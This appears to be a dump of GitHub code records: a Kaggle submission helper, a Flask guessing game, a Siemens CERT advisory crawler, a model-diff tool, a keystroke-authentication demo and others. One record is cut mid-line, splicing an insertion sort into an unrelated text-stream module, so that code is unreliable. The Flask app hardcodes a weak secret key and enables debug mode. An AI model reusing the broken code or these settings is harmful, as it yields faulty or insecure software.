1\r\n\"\"\"","repo_name":"hanna-joo/Self_Coding","sub_path":"python/08_etc/implement_230727_b1966.py","file_name":"implement_230727_b1966.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"71049437691","text":"import numpy as np\n\nimport pandas as pd\n\n\n\n# First part of your notebook\n\n \n\n# Part2\n\n\n\n# Part 3\n\n\n\n# Part 4\n\ndef prob(): # Your very complex model to do predictions\n\n return .5\n\n\n\n# Part 5\n\nsf = pd.read_csv('../input/deepfake-detection-challenge/sample_submission.csv', index_col='filename')\n\nsf[\"label\"] = prob()\n\nsf[\"label\"].fillna(0.5, inplace = True)\n\nsf.reset_index(inplace=True)\n\nsf[['filename','label']].to_csv('submission.csv', index=False)\n\n\n\n# Part 6\n\nprint(\"Shape {}\\nmin {}\\nmax {}\\nNA {}\".format(sf.shape\n\n , sf[\"label\"].min(), sf[\"label\"].max(), sf[\"label\"].isna().sum()))\n\nsf.head()\nfrom sklearn.metrics import log_loss\n\n\n\ny = np.concatenate([np.ones(2000), np.zeros(2000)], axis=0)\n\n\n\n# If you submit a submission file with those values\n\nfor i in [0, 0.05, 0.1, .15, .2, .25, .3, .35, .4, .45, .5, 1]:\n\n y_pred = np.full(4000, i)\n\n print(\"{:.2f} : {:.5f}\".format(i, log_loss(y, y_pred)))\n\n \n\n# Then you will have those public log loss :\n# with small differences \n\ny = np.concatenate([np.ones(2010), np.zeros(1990)], axis=0)\n\n\n\n# the log loss is not the same (except for 0.5)\n\nfor i in [0, 0.05, 0.1, .15, .2, .25, .3, .35, .4, .45, .5, 1]:\n\n y_pred = np.full(4000, i)\n\n print(\"{:.2f} : {:.5f}\".format(i, log_loss(y, y_pred)))\nimport numpy as np\n\nimport pandas as pd\n\n\n\n# read the sample submission file\n\n_temp = pd.read_csv('../input/deepfake-detection-challenge/sample_submission.csv', index_col='filename')\n\n_cte = len(_temp)\n\n\n\n# Create a submssion file with i as a constant prediction\n\ndef submission_to_find_bug(i, verbose=False):\n\n ts = _temp.copy()\n\n y_pred = np.full(_cte, i)\n\n ts[\"label\"] = y_pred\n\n ts.reset_index(inplace=True)\n\n ts[['filename','label']].to_csv('submission.csv', index=False)\n\n if verbose:\n\n print(\"Debug with value {}\".format(i))\n\n print(ts.head(3))\n\n print(ts.tail(3))\n\n\n\n# First part of the notebook\n\n# ...\n\n# Create the submission file with 0 as predcition for all videos \n\nsubmission_to_find_bug(0)\n\n\n\n# Part2\n\n# ...\n\n# Create the submission file with 0.05 as predcition for all videos \n\nsubmission_to_find_bug(0.05)\n\n\n\n# Part 3\n\n# ...\n\nsubmission_to_find_bug(0.1)\n\n\n\n# Part 4\n\ndef prob(): # Imagine your very complex model making your predictions\n\n submission_to_find_bug(0.15)\n\n return .5\n\nsubmission_to_find_bug(0.2, verbose=True)\n\n\n\n# Part 5\n\nsf = pd.read_csv('../input/deepfake-detection-challenge/sample_submission.csv', index_col='filename')\n\nsubmission_to_find_bug(0.25)\n\nsf[\"label\"] = prob()\n\nsf[\"label\"].fillna(0.5, inplace = True)\n\nsf.reset_index(inplace=True)\n\nsf[['filename','label']].to_csv('submission.csv', index=False)\n\n\n\n# Part 6\n\nprint(\"Shape {}\\nmin {}\\nmax {}\\nNA {}\".format(sf.shape\n\n , sf[\"label\"].min(), sf[\"label\"].max(), sf[\"label\"].isna().sum()))\n\nsf.head()","repo_name":"aorursy/new-nb-1","sub_path":"adaubas_a-solution-to-submissions-csv-not-found.py","file_name":"adaubas_a-solution-to-submissions-csv-not-found.py","file_ext":"py","file_size_in_byte":2826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"31020928716","text":"# ------------------------------------------------------------------------------/\n# Assignment: Great Number Game\n# Objectives:\n# Practice using session to store data about a client's history with the web app\n# Practice clearing a session\n# Practice having the server use data submitted by a client with a form\n#\n# ------------------------------------------------------------------------------/\n\n\nfrom flask import Flask, render_template, request, redirect, session\nimport random\n\napp = Flask(__name__)\napp.secret_key = 'bobby'\n\n@app.route('/')\ndef index():\n randNum = random.randrange(0, 101)\n print('Randomly generated number is: ' + str(randNum))\n\n if 'randNum' not in session:\n session['randNum'] = randNum\n\n print('Session var: ' + str(session['randNum']))\n return render_template(\"index.html\", randNum = session['randNum'])\n\n@app.route('/guess', methods=['POST'])\ndef guess():\n\n print('Form Dict: ' + str(request.form))\n print('User Guess: ' + str(request.form['guess']))\n guess = request.form['guess']\n print('Random Number: ' + str(session['randNum']))\n # create session['keys']\n if 'win' not in session:\n session['win'] = ''\n session['color'] = ''\n\n # test logic - compare 'guess' to 'session['randNum']'\n if int(guess) == int(session['randNum']):\n session['win'] = 'correct'\n session['color'] = 'green'\n return render_template(\"index.html\", guess=guess, win=session['win'], color=session['color'])\n elif int(guess) > int(session['randNum']):\n session['win'] = 'high'\n session['color'] = 'red'\n return render_template(\"index.html\", guess=guess, win=session['win'], color=session['color'])\n elif int(guess) < int(session['randNum']):\n session['win'] = 'low'\n session['color'] = 'red'\n return render_template(\"index.html\", guess=guess, win=session['win'], color=session['color'])\n\n print('Win State is: ' + str(win))\n return render_template(\"index.html\", guess=guess, win=session['win'], color=session['color'])\n\n@app.route('/reset')\ndef reset():\n session.clear()\n return redirect('/')\n\nif __name__==\"__main__\":\n\n app.run(debug=True)\n","repo_name":"ehoversten/_dojo_python_flask_number_game","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"22045918498","text":"def normalize_file_permissions(st_mode):\n \"\"\"\n Normalizes the permission bits in the st_mode field from stat to 644/755\n\n Popular VCSs only track whether a file is executable or not. The exact\n permissions can vary on systems with different umasks. Normalising\n to 644 (non executable) or 755 (executable) makes builds more reproducible.\n \"\"\"\n # Set 644 permissions, leaving higher bits of st_mode unchanged\n new_mode = (st_mode | 0o644) & ~0o133\n if st_mode & 0o100:\n new_mode |= 0o111 # Executable: 644 -> 755\n\n return new_mode\n","repo_name":"Dreamworks-dev/poetry","sub_path":"poetry/masonry/utils/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"}
+{"seq_id":"33271439205","text":"\"\"\"This module contains Insertion Sort algorithm\"\"\"\n\ndef insertion_sort(arr):\n \"\"\"\n insertion_sort function sorts an array of integers in ascending order.\n\n Arguments: Array of Integers\n\n Return: Modified Array\n \"\"\"\n for i in range(1, len(arr)):\n j = i-1\n temp = arr[i]\n\n while j >=0 and temp = 3:\n get_input = input\n import io as io_module\nelse:\n get_input = raw_input\n # Python 2.7 has two StringIO versions, io and StringIO. The one in io\n # only takes unicode (it is Python 3 ready), but StringIO one takes str\n # inits too.\n import StringIO as io_module\n\n\nclass TextStream(object):\n \"\"\"This is just a unified wrapper for a stream of text characters which may\n come from various sources.\"\"\"\n\n def __init__(self):\n \"\"\"Initialize the basic object. Some set method must also be called to\n determine the type of input before next() can be called.\"\"\"\n self.clear()\n\n def clear(self):\n \"\"\"Clear and reset the text stream.\"\"\"\n self.ts = None # the text stream object, set by the set methods\n self.EOF = True # false while a stream is open and not at end\n self.curr_line_num = 1 # count lines for error reporting, starts at 1\n self.curr_char_num = 0 # count chars on line for error reporting, first is 1\n self.increment_line_on_next_char = False # used in counting lines\n self.char_buffer = collections.deque()\n self.raw_in = False\n\n def set_string_in(self, str_val):\n \"\"\"Set a string to be the text source.\"\"\"\n self.clear()\n self.ts = io_module.StringIO(str_val) # in-memory text stream\n #self.ts = StringIO.StringIO(str_val) # in-memory text stream\n self.raw_in = False\n self.EOF = False\n\n def set_file_in(self, f_name):\n \"\"\"Set a file to be the text source.\"\"\"\n self.clear()\n self.ts = open(f_name, \"r\")\n self.raw_in = False\n self.EOF = False\n\n def set_raw_in(self):\n \"\"\"Read input interactively for text source.\"\"\"\n self.clear()\n print(\"Type ^D to leave raw input mode.\")\n self.raw_in = True\n self.EOF = False\n\n def __iter__(self):\n \"\"\"So statements like: for char in textStr: etc., and comprehensions,\n can be used.\"\"\"\n return self # implies that the next() method will be used for iterations\n\n def next(self):\n \"\"\"Get the next character in the text stream. Can be used as::\n\n while not ts.end_of_text_stream():\n char = ts.next()\n ...\n\n or else as::\n\n for char in ts:\n ...\n\n \"\"\"\n self.refill_char_buffer_if_empty()\n if len(self.char_buffer) == 0:\n raise StopIteration(\"no more chars in TextStream for next()\")\n retval = self.char_buffer.popleft()\n self.__increment_counters(retval)\n return retval\n __next__ = next\n\n def refill_char_buffer_if_empty(self):\n \"\"\"Read a line to refill the char buffer. Return `False` if end of stream\n is encountered, `True` otherwise.\"\"\"\n if len(self.char_buffer) != 0: # buffer not empty, return\n return True\n if self.raw_in:\n try:\n line = get_input(\"|- \")\n except: # got an EOFError or some other unspecified exception\n self.EOF = True\n self.char_buffer.clear()\n return False\n self.char_buffer = collections.deque([c for c in line])\n self.char_buffer.append(\"\\n\") # restore the newline input stripped\n else:\n line = self.ts.readline() # includes the \"\\n\" at EOL\n if line == \"\": # file reads return \"\" at EOF\n self.EOF = True # got an EOF\n self.char_buffer.clear()\n return False\n self.char_buffer = collections.deque([c for c in line])\n return True\n\n def peek(self):\n \"\"\"Peeks one character ahead in the text stream. Returns empty string if\n peek is attempted after `end_of_text_stream()` is `True`.\"\"\"\n self.refill_char_buffer_if_empty()\n if len(self.char_buffer) == 0:\n return \"\"\n return self.char_buffer[0]\n\n def __increment_counters(self, char):\n \"\"\"A utility routine for counting the current lines and characters. Called\n each time a character is read.\"\"\"\n self.curr_char_num += 1\n if self.increment_line_on_next_char:\n self.curr_char_num = 1\n self.curr_line_num += 1\n self.increment_line_on_next_char = False\n if char == \"\\n\":\n self.increment_line_on_next_char = True\n\n def get_pos_of_last_next(self):\n \"\"\"Return a tuple containing the line number of the last character\n returned, numbered from 1, followed by the position of the character on\n that line, also numbered from 1. Useful for error messages.\"\"\"\n return (self.curr_line_num, self.curr_char_num)\n\n def end_of_text_stream(self):\n \"\"\"True if the last character in the text stream has been returned.\"\"\"\n self.refill_char_buffer_if_empty()\n return self.EOF\n\n def beginning_of_text_stream(self):\n return self.curr_line_num == 1 and self.curr_char_num == 0\n\n\n#\n# Run test cases.\n#\n\nif __name__ == \"__main__\":\n\n #import py.test\n #py.test.main([\"-v\", \"test/test_text_stream.py\"]) # this needs pytest 2.0\n\n # exit(0) # comment this out to test interactive\n print(\"\\nTest interactive...\\n\")\n readline.parse_and_bind('set editing-mode vi')\n\n ts = TextStream()\n ts.set_raw_in() # reads data from raw_input\n\n","repo_name":"abarker/typped","sub_path":"src/typped/text_stream.py","file_name":"text_stream.py","file_ext":"py","file_size_in_byte":5668,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"}
+{"seq_id":"2124063706","text":"import matplotlib.pyplot as plt\nimport math\nimport numpy as np\nfrom os import system\nfrom time import sleep\n\na,b,c = 0.0, 0.0, 0.0\n\ndef verifyNumber(value):\n aux = value.replace(',', '.')\n aux = aux.replace('.', '')\n aux = aux.replace('-', '')\n\n if aux.isnumeric():\n return float(value)\n else:\n return 'Favor Inserir Apenas Números'\n\ndef createParabola(a,b,c):\n delta = b**2 -4*a*c\n \n if delta >= 0:\n x1,x2 = (-b + math.sqrt(delta))/(2*a), (-b - math.sqrt(delta))/(2*a)\n \n xv = -b/(2*a)\n yv = -delta/(4*a)\n\n x = np.linspace(int(xv)-5, int(xv)+5, 100)\n y = a*x**2 + b*x + c\n\n plt.plot(x,y)\n plt.axhline(y=0, color='black', linestyle='-')\n plt.axvline(x=0, color='black', linestyle='-')\n\n plt.plot(x1, 0, marker=\"o\", color='green')\n plt.text(x1-0.5, 2, f'[{round(x1,2)}, 0]',color='green')\n\n if delta > 0:\n plt.plot(x2, 0, marker=\"o\", color='green')\n plt.text(x2-0.5, 2, f'[{round(x2,2)}, 0]',color='green')\n\n plt.plot(xv,yv, marker='o', color='blue')\n plt.text(xv-0.5, yv-3.5, f'[{round(xv, 2)}, {round(yv, 2)}]', color='blue')\n\n plt.show()\n\n else:\n printar('Delta negativo, impossível calcular')\n\ndef printar(value):\n system('cls')\n print(value)\n sleep(2)\n\nwhile True:\n system('cls')\n aux = verifyNumber(input('Insira o \"A\": '))\n if type(aux) is not str: a = aux \n else: printar(aux); continue\n \n system('cls')\n aux = verifyNumber(input('Insira o \"B\": '))\n if type(aux) is not str: b = aux \n else: printar(aux); continue\n\n system('cls')\n aux = verifyNumber(input('Insira o \"C\": '))\n if type(aux) is not str: c = aux \n else: printar(aux); continue\n\n createParabola(a,b,c)","repo_name":"ThiagoMargoni/Senai-University-Files","sub_path":"2023.1/Programming Language/Exercícios Forms/Forms 8/parabola.py","file_name":"parabola.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"33441670475","text":"\"\"\"\n신입사원 무지는 게시판 불량 이용자를 신고하고 처리 결과를 메일로 발송하는 시스템을 개발하려 합니다. 무지가 개발하려는 시스템은 다음과 같습니다.\n각 유저는 한 번에 한 명의 유저를 신고할 수 있습니다.\n신고 횟수에 제한은 없습니다. 서로 다른 유저를 계속해서 신고할 수 있습니다.\n한 유저를 여러 번 신고할 수도 있지만, 동일한 유저에 대한 신고 횟수는 1회로 처리됩니다.\nk번 이상 신고된 유저는 게시판 이용이 정지되며, 해당 유저를 신고한 모든 유저에게 정지 사실을 메일로 발송합니다.\n유저��� 신고한 모든 내용을 취합하여 마지막에 한꺼번에 게시판 이용 정지를 시키면서 정지 메일을 발송합니다.\nid_list\treport\t k\tresult\n[\"muzi\", \"frodo\", \"apeach\", \"neo\"]\t[\"muzi frodo\",\"apeach frodo\",\"frodo neo\",\"muzi neo\",\"apeach muzi\"]\t2\t[2,1,1,0]\n[\"con\", \"ryan\"]\t[\"ryan con\", \"ryan con\", \"ryan con\", \"ryan con\"]\t 3\t[0,0]\n\"\"\"\n\ndef solution(id_list, report, k):\n answer = []\n reporter = []\n reported = []\n ban = []\n alarm = []\n position_set = [] \n\n del_redun = set(report) # set 사용하여 중복 제거\n one_report = list(del_redun) # set은 순서가 매번 바뀜\n\n for i in range(len(one_report)): \n check = one_report[i].split() #스페이스를 기준으로 스플릿\n reporter.append(check[0]) #앞쪽을 리포터로 어팬드\n reported.append(check[1]) #뒤쪽을 리포티드로 어팬드\n\n for j in id_list:\n num = reported.count(j)\n if num >= k: #만약 k보다 신고당한 수가 많다면 밴 리스트에 어팬드\n ban.append(j) \n\n for m in ban: #밴 당한 맴버 포지션 찾기 = 리포터 포지션 찾기\n position = [index for (index, item) in enumerate(reported) if item == m]\n position_set += position\n for n in position_set: #리포터 포지션에 따라 리포터 찾아서 알람에 어팬드\n alarm.append(reporter[n])\n\n for last in id_list: #리포터 수 카운트해서 id_list 순서에 따라 숫자 더해주기\n answer.append(alarm.count(last))\n\n return answer\n\nprint(solution([\"muzi\", \"frodo\", \"apeach\", \"neo\"],[\"muzi frodo\",\"apeach frodo\",\"frodo neo\",\"muzi neo\",\"apeach muzi\",\"muzi neo\"],2))","repo_name":"Chung-SungWoong/Algorithm_Test","sub_path":"Coding_Test34.py","file_name":"Coding_Test34.py","file_ext":"py","file_size_in_byte":2557,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"9913536989","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n# Created on 2019-02-25 10:12:04\n# Project: SIEMENS_CERT\n# Author: KEYONE @ https://github.com/hi-KK\n\nfrom pyspider.libs.base_handler import *\n\nHeaders2 = [\n ('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),\n ('Accept-Encoding', 'gzip, deflate'),\n ('Accept-Language', 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3'),\n ('Connection', 'keep-alive'),\n ('Host', 'cert-portal.siemens.com'),\n ('Upgrade-Insecure-Requests', '1'),\n ('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0')\n]\n\nStartUrl = 'https://cert-portal.siemens.com/productcert/json/advisories.json'\n\n\nclass Handler(BaseHandler):\n\n @every(minutes=24 * 60)\n def on_start(self):\n self.crawl(StartUrl, callback=self.detail_page, headers=Headers2)\n \n#1、response.json用于解析json数据\n#2、response.doc返回的是PyQuery对象\n#3、response.etree返回的是lxml对象\n#4、response.text返回的是unicode文本\n#5、response.content返回的是字节码 \n\n @config(age=10 * 24 * 60 * 60)\n#利用send_message,将单个页面的多个结果,for循环后,每个dict结果,都调用send_message去发送message给自己的项目,在收到message的地方,再返回dict结果。\n\n#http://docs.pyspider.org/en/latest/apis/self.send_message/\n\n def detail_page(self, response):\n for i, each in enumerate(response.json):\n self.send_message(self.project_name, {\n \"id\": each['id'],\n 'title': each['title'],\n \"products\":each['products'],\n \"cve_id\":each['cve-ids'],\n \"last_update\":each['last_update'],\n \"pdf_url\":each['pdf_url'],\n #有部分字段在老漏洞信息中没有,如果添加会报错\n }, url=\"%s#%s\" % (response.url, i))\n \n @config(priority=2)\n \n def on_message(self, project, msg):\n return msg\n ","repo_name":"hi-KK/PySpider-ICS","sub_path":"SIMENS-CERT/SIEMENS_CERT.py","file_name":"SIEMENS_CERT.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","stars":63,"dataset":"github-code","pt":"78"}
+{"seq_id":"42936127758","text":"from torchvision import transforms\nfrom PIL import Image\nfrom torch.utils.tensorboard import SummaryWriter\n\n# Totensor\nwriter = SummaryWriter('log_3')\nimage = Image.open(\"dataset/train/bees_image/36900412_92b81831ad.jpg\") #输出PIL类型\ntrans_tensor = transforms.ToTensor()\ntensor_image = trans_tensor(image)\nwriter.add_image('Totensor',tensor_image) # 转化为tensor类型\n\n# 归一化\nprint(\"归一化前\",tensor_image[0][0][0])\ntrans_normalize = transforms.Normalize([0.5, 0.5, 0.5],[0.5, 0.5, 0.5]) # 图片有三层,对应3个数,第一个列表均值,第二个列表标准差,不同的均值标准差会输出不同的结果\nimage_normalize = trans_normalize(tensor_image) # 输入的是tensor类型\nprint(\"归一化后\",image_normalize[0][0][0])\nwriter.add_image(\"image_normalize\", image_normalize)\n\n\n# resize,对图片进行缩放\nprint(\"缩放前\",image.size)\ntrans_size = transforms.Resize((512, 512)) # 输入的是PIL而不是tensor类型图片,输入变化后的高和宽,如果只输入一个数字,那么就是等比缩放\nimage_resize = trans_size(image)\nprint(\"缩放后\",image_resize.size)\nimage_resize = trans_tensor(image_resize)\nwriter.add_image(\"resize_image\",image_resize)\n\n# compose 将多个变化结合一起\ntrans_size_2 = transforms.Resize(700)\ntrans_compose = transforms.Compose([trans_size_2, trans_tensor]) # 多个变化结合压要求上一个变化的输出是下一个变化的输入,类型要匹配,否则报错\nimage_compose = trans_compose(image)\nwriter.add_image(\"compose_image\", image_compose)\n\n# randomcrop随机裁剪,在图片任意位置裁剪指定大小图片\ntrans_random = transforms.RandomCrop((90,50))\ntrans_ran_compose = transforms.Compose([trans_random,trans_tensor])\nfor i in range(6):\n image_randomcrop = trans_ran_compose(image)\n writer.add_image(\"image_randomcrop\",image_randomcrop,i)\n\n\nwriter.close()\n\n\n","repo_name":"spasmodic123/QG_SUMMER_CAMP","sub_path":"Daily/2023.7.10/code/useful_transforms.py","file_name":"useful_transforms.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"13631299981","text":"#%%\ndef list_cerator (end_words = ['q', 'finish', 'done', 'exit']):\n \n input_str = None\n input_list = []\n\n while input_str not in end_words:\n input_str = input('type things you in your new list and press enter, when done, type \"done\" and press enter')\n if input_str not in end_words:\n input_list.append(input_str)\n \n return input_list\n\ndef list_trimmer (li):\n li_trimmed = [li[0],li[-1]]\n return li_trimmed\n\n\nif __name__ == '__main__':\n a = list_cerator()\n print(f'your list is:\\n{a}')\n\n b = list_trimmer(a)\n print(b)\n\n\n# %%\n","repo_name":"Marvling/sandbox-python","sub_path":"practicepythonorg/ex12.py","file_name":"ex12.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"12857362764","text":"import logging\n\nlog = logging.getLogger()\n\n\ndef get_parameter_groups(model, stage_cfg, print_log=False):\n \"\"\"\n Assign different weight decays and learning rates to different parameters.\n Returns a parameter group which can be passed to the optimizer.\n \"\"\"\n weight_decay = stage_cfg.weight_decay\n embed_weight_decay = stage_cfg.embed_weight_decay\n backbone_lr_ratio = stage_cfg.backbone_lr_ratio\n base_lr = stage_cfg.learning_rate\n\n backbone_params = []\n embed_params = []\n other_params = []\n\n embedding_names = ['summary_pos', 'query_init', 'query_emb', 'obj_pe']\n embedding_names = [e + '.weight' for e in embedding_names]\n\n # inspired by detectron2\n memo = set()\n for name, param in model.named_parameters():\n if not param.requires_grad:\n continue\n # Avoid duplicating parameters\n if param in memo:\n continue\n memo.add(param)\n\n if name.startswith('module'):\n name = name[7:]\n\n inserted = False\n if name.startswith('pixel_encoder.'):\n backbone_params.append(param)\n inserted = True\n if print_log:\n log.info(f'{name} counted as a backbone parameter.')\n else:\n for e in embedding_names:\n if name.endswith(e):\n embed_params.append(param)\n inserted = True\n if print_log:\n log.info(f'{name} counted as an embedding parameter.')\n break\n\n if not inserted:\n other_params.append(param)\n\n parameter_groups = [\n {\n 'params': backbone_params,\n 'lr': base_lr * backbone_lr_ratio,\n 'weight_decay': weight_decay\n },\n {\n 'params': embed_params,\n 'lr': base_lr,\n 'weight_decay': embed_weight_decay\n },\n {\n 'params': other_params,\n 'lr': base_lr,\n 'weight_decay': weight_decay\n },\n ]\n\n return parameter_groups","repo_name":"sczhou/ProPainter","sub_path":"web-demos/hugging_face/tracker/model/utils/parameter_groups.py","file_name":"parameter_groups.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","stars":3877,"dataset":"github-code","pt":"78"}
+{"seq_id":"35414960265","text":"import shelve\n\nfinals_game_dates = [\n 'JUN 02, 2022',\n 'JUN 05, 2022',\n 'JUN 08, 2022',\n 'JUN 10, 2022',\n 'JUN 13, 2022',\n 'JUN 16, 2022',\n 'JUN 19, 2022'\n ]\n\nselected_year = '2021'\nscoreboard_cache = {\n 'scoreboard_save': None,\n 'current_timestamp': None\n}\n\nfinals_roster_cache = {\n 'finals_roster_save': None,\n 'current_timestamp': None\n}\n\n\nwith shelve.open('./vars_persist/vars', 'c') as shelf:\n # shelf['finals_game_dates'] = finals_game_dates\n # shelf['selected_year'] = selected_year\n # shelf['scoreboard_cache'] = scoreboard_cache\n # shelf['finals_team_1'] = 'Golden State Warriors'\n # shelf['finals_team_2'] = 'Boston Celtics'\n # shelf['finals_roster_cache'] = finals_roster_cache\n print(shelf['player_cache'])\n\n # print(shelf['finals_roster_cache'])\n # for key in shelf.keys():\n # print(repr(key), repr(shelf[key]))\n\n shelf.close()","repo_name":"chrispuppe/finals-game","sub_path":"shelf_setup.py","file_name":"shelf_setup.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"29133253494","text":"from .diff_utils import pipeline, init_options, OptimizerHelper\nfrom ..abstracts import ProxyModel\nfrom ..abstracts.proxy_utils import init_route, remove_inplace\nfrom ..weight_init import assign_weight_\nfrom ..utils import assert_tensor_equal, log, reset_dir\n\nfrom itertools import zip_longest\nimport paddle\nimport torch\n\n\ndef create_model(model, name=None, dump_freq=1):\n retval = ProxyModel.create_from(model, name, dump_freq)\n init_route(retval)\n if retval.framework == \"paddle\" and paddle.distributed.get_rank() % 8 == 0:\n # Only reset the root path once for each machine, here we assume each machine has 8 GPUs\n reset_dir(retval.dump_path)\n if retval.framework == \"torch\":\n reset_dir(retval.dump_path)\n remove_inplace(retval)\n return retval\n\n\ndef assign_weight(base_model, raw_model):\n \"\"\"\n Set weights in raw_model to the same as the values in base_model\n \"\"\"\n if not isinstance(raw_model, ProxyModel):\n raw_model = create_model(raw_model)\n if not isinstance(base_model, ProxyModel):\n base_model = create_model(base_model)\n\n return assign_weight_(base_model, raw_model)\n\n\ndef auto_diff(base_model, raw_model, inputs, loss_fns=None, optimizers=None, **kwargs):\n \"\"\"\n Given example inputs, automatically find the first layer with precision diff.\n\n Args:\n base_model: paddle.nn.Layer or torch.nn.Module, provides the baseline of data precision.\n raw_model: paddle.nn.Layer or torch.nn.Module, which need to compare with base_model.\n inputs: input data for models, it should be a list of dict.\n loss_fns (list, optional): list of loss function for models.\n optimizers (list, optional): list of optimizers for models.\n kwargs: other options, view `https://github.com/PaddlePaddle/PaDiff` to learn more infomations\n Returns:\n True for success, False for failed.\n \"\"\"\n\n options = kwargs\n\n if not isinstance(base_model, ProxyModel):\n base_model = create_model(base_model, base_model.__class__.__name__ + \"_base_model\")\n if not isinstance(raw_model, ProxyModel):\n raw_model = create_model(raw_model, raw_model.__class__.__name__ + \"_raw_model\")\n assert isinstance(inputs, (tuple, list)), \"Invalid Argument.\"\n\n for input_ in inputs:\n assert isinstance(input_, dict), \"Invalid Argument.\"\n\n if loss_fns is not None:\n options[\"use_loss\"] = True\n assert len(loss_fns) == 2\n for loss in loss_fns:\n assert callable(loss), \"Invalid loss function\"\n else:\n loss_fns = [None, None]\n\n if optimizers is not None:\n options[\"use_opt\"] = True\n assert len(optimizers) == 2\n for opt in optimizers:\n assert isinstance(opt, (paddle.optimizer.Optimizer, torch.optim.Optimizer)) or callable(\n opt\n ), \"Invalid optimizer\"\n optimizers = [OptimizerHelper(opt) for opt in optimizers]\n else:\n optimizers = [None, None]\n\n init_options(options)\n cfg = {}\n for key in (\"atol\", \"rtol\", \"compare_mode\"):\n cfg[key] = options[key]\n del options[key]\n\n if options[\"auto_init\"] and not assign_weight(base_model, raw_model):\n return False\n\n result = pipeline((base_model, raw_model), inputs, loss_fns, optimizers, options, cfg)\n\n if result:\n log(\"SUCCESS !!!\\n\")\n else:\n log(\"FAILED !!!\\n\")\n\n return result\n\n\ndef check_dataloader(first_loader, second_loader, **kwargs):\n def get_numpy(data):\n if isinstance(data, (paddle.Tensor, torch.Tensor)):\n return data.detach().cpu().numpy()\n return data\n\n options = {\n \"atol\": 0,\n \"rtol\": 1e-7,\n \"compare_mode\": \"mean\",\n }\n options.update(kwargs)\n\n for data_0, data_1 in zip_longest(first_loader, second_loader, fillvalue=None):\n if data_0 is None or data_1 is None:\n raise RuntimeError(\"Given dataloader return difference number of datas.\")\n try:\n assert_tensor_equal(get_numpy(data_0), get_numpy(data_1), options)\n except Exception as e:\n log(\"check dataloader failed!!!\")\n print(f\"{type(e).__name__ + ': ' + str(e)}\")\n return False\n return True\n","repo_name":"WenmuZhou/PytorchOCR","sub_path":"padiff/interfaces/interfaces.py","file_name":"interfaces.py","file_ext":"py","file_size_in_byte":4245,"program_lang":"python","lang":"en","doc_type":"code","stars":1192,"dataset":"github-code","pt":"78"}
+{"seq_id":"33399897401","text":"from distutils.command.build_scripts import first_line_re\nimport streamlit as st\nfrom record import start_record, stop_record\nfrom analyse import analyse\nfrom test import get_person_name, start_auth, stop_auth\nimport time\nrecording = False\n\nst.write(\"# Multi-factor Authentication System\")\nanalyse()\n\nstart_auth()\n\n# Record typing style\nst.write(\"## Record typing style\")\nusername = st.text_input(\"Username\")\nusername_err = st.empty()\n\nif st.button(\"Start recording\"):\n if username.strip() == \"\":\n username_err.error(\"Please enter a username\")\n else:\n start_record()\n stop_auth()\n recording = True\nst.text_area(\n \"Please type the following text: *The quick brown fox jumps over the lazy dog.*\",\n height=100,\n disabled=(not recording),\n)\n# print(username)\n\n\nif st.button(\"Stop recording\"):\n stop_record(username)\n recording = False\n analyse()\n start_auth()\n\n# Authenticate using typing style\nst.write(\"## Authenticate using typing style\")\nauth_text = st.text_area(\"Please type here\", disabled=recording)\n# if auth_text != \"\":\ncol1, col2 = st.columns([1, 5])\nb1 = None\nb2 = None\nwith col1:\n b1 = st.empty()\n\nwith col2:\n b2 = st.empty()\n\nif b1.button(\"Authenticate\"):\n time.sleep(2)\n [new_user, status] = get_person_name()\n if new_user != []:\n st.write(f\"Possible Users: **{new_user}**\")\n if status and username in new_user:\n st.write(f\"Status: Authenticated\")\n else:\n st.write(f\"Status: Not Authenticated\")\n\n else:\n st.write(f\"User: **Unknown**\")\n st.write(f\"Status: Not Authenticated\")\n \n\nif b2.button(\"Reset Authentication\"):\n stop_auth()\n start_auth()\n new_user = \"Unknown\"\n","repo_name":"Debo8359/Keystroke-Based-Multi-Factor-Authentication","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
